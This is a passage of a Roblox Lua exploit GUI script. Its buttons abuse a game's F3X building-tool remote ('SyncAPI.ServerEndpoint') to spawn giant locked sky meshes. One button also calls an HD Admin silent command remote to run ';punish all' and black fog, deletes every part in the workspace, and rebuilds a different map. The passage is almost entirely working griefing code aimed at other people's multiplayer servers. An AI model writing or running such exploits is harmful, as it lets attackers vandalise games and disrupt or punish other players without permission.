					end)
				end
			end 
		end
		spam("82934289144205")
	end)
end;
task.spawn(C_14);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_16()
local script = G2L["16"];
	script.Parent.MouseButton1Click:Connect(function()
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
	
			_(args)
		end
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end
	
		function Sky(id)
			e = char.HumanoidRootPart.CFrame.x
			f = char.HumanoidRootPart.CFrame.y
			g = char.HumanoidRootPart.CFrame.z
			CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
			for i,v in game.Workspace:GetDescendants() do
				if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
					--spawn(function()
					SetName(v,"Sky")
					AddMesh(v)
					--end)
					--spawn(function()
					SetMesh(v,"111891702759441")
					SetTexture(v,id)
					--end)
					MeshResize(v,Vector3.new(6000,6000,6000))
					SetLocked(v,true)
				end
			end
		end
		Sky("93092188749697")
	end)
end;
task.spawn(C_16);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_18()
local script = G2L["18"];
	script.Parent.MouseButton1Click:Connect(function()
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
	
			_(args)
		end
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end
	
		function Sky(id)
			e = char.HumanoidRootPart.CFrame.x
			f = char.HumanoidRootPart.CFrame.y
			g = char.HumanoidRootPart.CFrame.z
			CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
			for i,v in game.Workspace:GetDescendants() do
				if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
					--spawn(function()
					SetName(v,"Sky")
					AddMesh(v)
					--end)
					--spawn(function()
					SetMesh(v,"111891702759441")
					SetTexture(v,id)
					--end)
					MeshResize(v,Vector3.new(6000,6000,6000))
					SetLocked(v,true)
				end
			end
		end
		Sky("82934289144205")
	end)
end;
task.spawn(C_18);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_1a()
local script = G2L["1a"];
	script.Parent.MouseButton1Click:Connect(function()
		--[[
		WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
	]]
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function VertexColormf(part)
			local a1 = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["VertexColor"] = Vector3.new(3,3,3)
					}
				}
			}
			_(a1)
		end
	
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
	
			_(args)
		end
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end
	
		function Sky(id)
			e = char.HumanoidRootPart.CFrame.x
			f = char.HumanoidRootPart.CFrame.y
			g = char.HumanoidRootPart.CFrame.z
			CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,-9,0),workspace.Terrain)
			wait(0.5) -- Increased wait time for part creation
			for i,v in game.Workspace:GetDescendants() do
				if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
					SetName(v,"Sky")
					AddMesh(v)
					SetMesh(v,"111891702759441")
					SetTexture(v,id)
					MeshResize(v,Vector3.new(20000, 20000, 20000))
					VertexColormf(v)
					SetLocked(v,true)
	
	
					local skyPart = v
					local rotationSpeedX = 50
					local rotationSpeedZ = 50
					local rotationSpeedY = 50
					local currentRotation = Vector3.new(0, 0, 0)
	
					game:GetService("RunService").Heartbeat:Connect(function(deltaTime)
						currentRotation = Vector3.new(
							(currentRotation.X + rotationSpeedX * deltaTime) % 360,
							(currentRotation.Y + rotationSpeedY * deltaTime) % 360,
							(currentRotation.Z + rotationSpeedZ * deltaTime) % 360
						)
	
	
						local baseCFrame = CFrame.new(skyPart.Position)
						local rotatedCFrame = baseCFrame * CFrame.Angles(
							math.rad(currentRotation.X),
							math.rad(currentRotation.Y),
							math.rad(currentRotation.Z)
						)
	
						MovePart(skyPart, rotatedCFrame)
					end)
	
					break
				end
			end
		end
	
		Sky("93092188749697")
	end)
end;
task.spawn(C_1a);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_1c()
local script = G2L["1c"];
	script.Parent.MouseButton1Click:Connect(function()
		--- map 2 f3x by x9d
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";btools me")
		task.wait(1.2)
		RequestCommand:InvokeServer(";punish all ;fog 20 20 ;fogcolor black")
		task.wait(0.2) 
	
		local player = game.Players.LocalPlayer
		local backpack = player.Backpack
		local character = player.Character
	
		local function getF3X()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then return v end
			end
			for _, v in ipairs(character:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then return v end
			end
			return nil
		end
	
		local f3x = getF3X()
		if not f3x then
			warn("F3X / SyncAPI not found – please equip btools and try again")
			return
		end
	
		local syncapi = f3x.SyncAPI
		local endpoint = syncapi.ServerEndpoint
		for _, v in ipairs(workspace:GetDescendants()) do
			if v:IsA("BasePart") or v:IsA("UnionOperation") or v:IsA("MeshPart") then
				task.spawn(function()
					pcall(function()
						endpoint:InvokeServer("Remove", {v})
					end)
				end)
			end
		end
		task.wait(1)
	
	
		local function syncAnchor(ep, part, anchored)
			ep:InvokeServer("SyncAnchor", {{Part = part, Anchored = anchored}})
		end
	
		local function poopyshitResize(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncResize", tbl) end end
		local function poopyshitMaterial(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncMaterial", tbl) end end
		local function poopyshitColor(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncColor", tbl) end end
		local function poopyshitCollision(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncCollision", tbl) end end
	
		local function createMesh(ep, part) ep:InvokeServer("CreateMeshes", {{Part = part}}) end
		local function syncMesh(ep, part, mId, tId, mScale, mOffset)
			ep:InvokeServer("SyncMesh", {{
				Part = part, 
				MeshId = mId, 
				TextureId = tId, 
				Scale = mScale, 
				Offset = mOffset, 
				MeshType = Enum.MeshType.FileMesh
			}}) 
		end
	
		local function createDecal(ep, part, face) ep:InvokeServer("CreateTextures", {{Part = part, Face = face, TextureType = "Decal"}}) end
		local function setDecalTexture(ep, part, tex, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Decal", Texture = tex}}) end
		local function setDecalTransparency(ep, part, trans, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Decal", Transparency = trans}}) end
	
		local function createTexture(ep, part, face) ep:InvokeServer("CreateTextures", {{Part = part, Face = face, TextureType = "Texture"}}) end
		local function setTextureId(ep, part, tex, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Texture", Texture = tex}}) end
		local function setTextureTransparency(ep, part, trans, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Texture", Transparency = trans}}) end
	
		local function createLight(ep, part, lightType)
			ep:InvokeServer("CreateLights", {{Part = part, LightType = lightType}})
		end
		local function syncLight(ep, part, lightType, brightness, range, color, shadows, face, angle)
			local params = {Part = part, LightType = lightType}
			if brightness ~= nil then params.Brightness = brightness end
			if range ~= nil then params.Range = range end
			if color then params.Color = color end
			if shadows ~= nil then params.Shadows = shadows end
			if face and face ~= "nil" then params.Face = face end
			if angle ~= nil then params.Angle = angle end
			ep:InvokeServer("SyncLighting", {params})
		end
	
		local function createGroup(ep, groupType, parent, items) return ep:InvokeServer("CreateGroup", groupType, parent, items) end
		local function setName(ep, obj, name) ep:InvokeServer("SetName", {obj}, name) end
		local function setLocked(ep, part, lock) ep:InvokeServer("SetLocked", {part}, lock) end
	
		local P = {}
	
		local partData = {
			[7] = {anchored = true},
			[8] = {anchored = true},
			[9] = {anchored = true},
			[10] = {anchored = true},
			[13] = {anchored = true},
			[14] = {anchored = true},
			[15] = {anchored = true},
			[16] = {anchored = true},
			[18] = {anchored = true},
			[20] = {anchored = true},
			[22] = {anchored = true},
			[24] = {anchored = true},
			[26] = {anchored = true},
			[28] = {anchored = true},
			[29] = {anchored = true},
			[31] = {anchored = true},
			[32] = {anchored = true},
			[58] = {anchored = true},
			[40] = {anchored = true},
			[56] = {anchored = true},
			[44] = {anchored = true},
			[39] = {anchored = true},
			[36] = {anchored = true},
			[53] = {anchored = true},
			[45] = {anchored = true},
			[42] = {anchored = true},
			[51] = {anchored = true},
			[49] = {anchored = true},
			[47] = {anchored = true},
			[34] = {anchored = true},
			[55] = {anchored = true},
			[37] = {anchored = true},
		}
	
		local partDefs = {
	
			[7] = {shape="Normal", cframe=CFrame.new(31.403011322021484,5.803171157836914,6.91834831237793,1,0,0,0,1,0,0,0,1)},
			[8] = {shape="Normal", cframe=CFrame.new(31.403011322021484,9.045248031616211,4.645868301391602,1,0,0,0,0.7071342468261719,-0.707079291343689,0,0.707079291343689,0.7071342468261719)},
			[9] = {shape="Normal", cframe=CFrame.new(31.403011322021484,11.092819213867188,4.5087432861328125,1,0,0,0,1,0,0,0,1)},
			[10] = {shape="Normal", cframe=CFrame.new(31.338024139404297,10.399991989135742,1.9637413024902344,1,0,0,0,1,0,0,0,1)},
			[13] = {shape="Normal", cframe=CFrame.new(31.403011322021484,9.045248031616211,-5.354131698608398,1,0,0,0,0.7071342468261719,-0.707079291343689,0,0.707079291343689,0.7071342468261719)},
			[14] = {shape="Normal", cframe=CFrame.new(31.403011322021484,11.092819213867188,-5.4912567138671875,1,0,0,0,1,0,0,0,1)},
			[15] = {shape="Normal", cframe=CFrame.new(31.403011322021484,5.803171157836914,-3.0816516876220703,1,0,0,0,1,0,0,0,1)},
			[16] = {shape="Normal", cframe=CFrame.new(31.338024139404297,10.399991989135742,-8.036258697509766,1,0,0,0,1,0,0,0,1)},
			[18] = {shape="Normal", cframe=CFrame.new(-3.0000152587890625,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)},
			[20] = {shape="Normal", cframe=CFrame.new(-7.0000152587890625,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)},
			[22] = {shape="Spawn", cframe=CFrame.new(0,0.5,0,1,0,0,0,1,0,0,0,1)},
			[24] = {shape="Normal", cframe=CFrame.new(-3.0000152587890625,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)},
			[26] = {shape="Normal", cframe=CFrame.new(-18,6.000000953674316,8.5,1,0,0,0,1,0,0,0,1)},
			[28] = {shape="Normal", cframe=CFrame.new(8.053698539733887,12.347900390625,34.18025207519531,-1,0,0,0,1,0,0,0,-1)},
			[29] = {shape="Normal", cframe=CFrame.new(-7.0000152587890625,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)},
			[31] = {shape="Normal", cframe=CFrame.new(1.9999847412109375,-8,51.50001525878906,1,0,0,0,1,0,0,0,1)},
			[32] = {shape="Normal", cframe=CFrame.new(0.9999847412109375,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)},
			[58] = {shape="Normal", cframe=CFrame.new(11.999984741210938,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)},
			[40] = {shape="Normal", cframe=CFrame.new(4.9999847412109375,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)},
			[56] = {shape="Normal", cframe=CFrame.new(19.999984741210938,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)},
			[44] = {shape="Normal", cframe=CFrame.new(31.655550003051758,7.221560001373291,1.9387414455413818,-1,0,0,0,1,0,0,0,-1)},
			[39] = {shape="Normal", cframe=CFrame.new(30.803302764892578,7.550135135650635,-8.011259078979492,0,0,-1,0,1,0,1,0,0)},
			[36] = {shape="Normal", cframe=CFrame.new(29.18366813659668,1.6103498935699463,-3.449313163757324,0.7070603370666504,0.000013381242752075195,-0.7071532011032104,-0.7071532011032104,0.00003230571746826172,-0.7070603370666504,0.000013381242752075195,1,0.00003230571746826172)},
			[53] = {shape="Normal", cframe=CFrame.new(4.9999847412109375,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)},
			[45] = {shape="Normal", cframe=CFrame.new(23.999984741210938,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)},
			[42] = {shape="Normal", cframe=CFrame.new(15.999984741210938,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)},
			[51] = {shape="Normal", cframe=CFrame.new(23.999984741210938,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)},
			[49] = {shape="Normal", cframe=CFrame.new(15.999984741210938,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)},
			[47] = {shape="Normal", cframe=CFrame.new(11.999984741210938,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)},
			[34] = {shape="Normal", cframe=CFrame.new(0.9999847412109375,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)},
			[55] = {shape="Normal", cframe=CFrame.new(29.18366813659668,1.6103498935699463,7.205657958984375,0.7070603370666504,0.000013381242752075195,-0.7071532011032104,-0.7071532011032104,0.00003230571746826172,-0.7070603370666504,0.000013381242752075195,1,0.00003230571746826172)},
			[37] = {shape="Normal", cframe=CFrame.new(19.999984741210938,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)},
		}
	
		local pending = 0
		for id, def in pairs(partDefs) do
			pending = pending + 1
			task.spawn(function()
				local success, part = pcall(function()
					return endpoint:InvokeServer("CreatePart", def.shape, def.cframe, workspace)
				end)
				if success and part then
					P[id] = part
					syncAnchor(endpoint, part, true)
				end
				pending = pending - 1
			end)
		end
		while pending > 0 do
			task.wait()
		end
	
		local resizepoopyshit = {}
		if P[7] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[7], CFrame = P[7].CFrame, Size = Vector3.new(1.199418544769287,11.606341361999512,1.1275964975357056)} end
		if P[8] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[8], CFrame = P[8].CFrame, Size = Vector3.new(1.199418544769287,1.0270463228225708,6.3346476554870605)} end
		if P[9] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[9], CFrame = P[9].CFrame, Size = Vector3.new(1.199418544769287,1.0270463228225708,5.946812629699707)} end
		if P[10] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[10], CFrame = P[10].CFrame, Size = Vector3.new(0.10000000149011612,1.4200005531311035,0.05000000074505806)} end
		if P[13] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[13], CFrame = P[13].CFrame, Size = Vector3.new(1.199418544769287,1.0270463228225708,6.3346476554870605)} end
		if P[14] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[14], CFrame = P[14].CFrame, Size = Vector3.new(1.199418544769287,1.0270463228225708,5.946812629699707)} end
		if P[15] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[15], CFrame = P[15].CFrame, Size = Vector3.new(1.199418544769287,11.606341361999512,1.1275964975357056)} end
		if P[16] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[16], CFrame = P[16].CFrame, Size = Vector3.new(0.10000000149011612,1.4200005531311035,0.05000000074505806)} end
		if P[18] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[18], CFrame = P[18].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
		if P[20] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[20], CFrame = P[20].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
		if P[22] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[22], CFrame = P[22].CFrame, Size = Vector3.new(12,1,12)} end
		if P[24] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[24], CFrame = P[24].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
		if P[26] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[26], CFrame = P[26].CFrame, Size = Vector3.new(14,12,1)} end
		if P[28] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[28], CFrame = P[28].CFrame, Size = Vector3.new(19,25.581600189208984,16.27989959716797)} end
		if P[29] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[29], CFrame = P[29].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
		if P[31] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[31], CFrame = P[31].CFrame, Size = Vector3.new(364,16,336.9999694824219)} end
		if P[32] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[32], CFrame = P[32].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
		if P[58] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[58], CFrame = P[58].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
		if P[40] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[40], CFrame = P[40].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
		if P[56] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[56], CFrame = P[56].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
		if P[44] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[44], CFrame = P[44].CFrame, Size = Vector3.new(2.361499786376953,5.645480155944824,4.000002861022949)} end
		if P[39] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[39], CFrame = P[39].CFrame, Size = Vector3.new(4,5.077950477600098,1.448699951171875)} end
		if P[36] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[36], CFrame = P[36].CFrame, Size = Vector3.new(0.409912109375,0.39226099848747253,4.1800537109375)} end
		if P[53] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[53], CFrame = P[53].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
		if P[45] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[45], CFrame = P[45].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
		if P[42] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[42], CFrame = P[42].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
		if P[51] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[51], CFrame = P[51].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
		if P[49] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[49], CFrame = P[49].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
		if P[47] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[47], CFrame = P[47].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
		if P[34] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[34], CFrame = P[34].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
